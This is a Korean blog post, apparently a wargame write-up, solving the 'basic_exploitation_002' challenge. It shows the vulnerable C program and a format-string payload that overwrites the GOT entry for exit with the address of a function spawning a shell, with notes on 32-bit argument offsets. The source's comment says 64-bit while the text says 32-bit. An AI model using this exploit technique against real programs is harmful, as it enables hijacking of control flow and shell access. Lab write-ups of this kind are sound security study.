CIDY
[System_Hacking] stage10_문제풀이(basic_exploitation_002) 본문
// 64-bit, nx, partial relro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
음... 쉽다.. 라고 생각했는데 32비트라 좀 애를 먹었다.
일단 exit의 got주소를 get_shell로 덮는건 당연함.
32비트는 인자 전달을 완전 스택으로 함 -> buf가 지금 곧 스택에 써 주는 것이기 때문에 exit의 got주소를 포맷 스트링들보다 먼저 보내서 스택 맨 위에 쌓아야 인자로 처리 가능함.
buf = p32(e.got['exit'] + 2)
buf += p32(e.got['exit'])
buf += f"%{0x804 - 0x8}c".encode()
buf += b"%1$hn"
buf += f"%{0x8609 - 0x804}c".encode()
buf += b"%2$hn"
결론적으로 buf는 이렇게 해 줘야 하는데, 일단 buf가 곧 printf에 들어가는 것이기도 해서 첫 두 줄 때문에 printf라 8바이트를 출력한다. -> getshell의 주소가 0x08048609라서 분할하면 0x804를 exit + 2에, 0x8609를 exit에 보내줘야 하는 상황인데 이미 8바이트 출력해버려서 초반 0x804에 0x8을 빼줘야 한다.
그리고 여기서 보면 스택 맨 위에 들어있는 건 buf의 주소(==바로 아래 칸 ㅋㅋ )이다. call바로위에서 lea eax, [ebp - 0x80]한것을 push해준 걸 볼 수 있다. printf호출을 위해 인자를 push한건데, 32비트에서 인자는 오른쪽부터 push되니까 스택 위에서부터 첫 번째 인자, 두 번째 인자.. 이렇게 센다. 근데 포맷 스트링에서 "~~"자체는 인자로 카운트 하지 않으니까 현재 보이는 스택의 두 번째 칸, 즉 got + 2가 첫 번째 인자가 되므로 위와 같은 코드가 나온 것임.
적응하면 무지성으로도 할 수 있는 문제겠지만 오랜만에 32비트를 접해서 약간 헤맸다ㅠ
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage11_Use After Free(+문제풀이: uaf_overwrite) (0) | 2022.07.07 |
---|---|
[System_Hacking] stage10_문제풀이(basic_exploitation_003) (0) | 2022.07.07 |
[System_Hacking] 문제풀이_rop(RTC, stack pivoting 이용한 풀이) (0) | 2022.07.04 |
[System_Hacking] stage9_문제풀이(out_of_bound) (0) | 2022.07.03 |
[System_Hacking] stage8_문제풀이(hook) (0) | 2022.07.03 |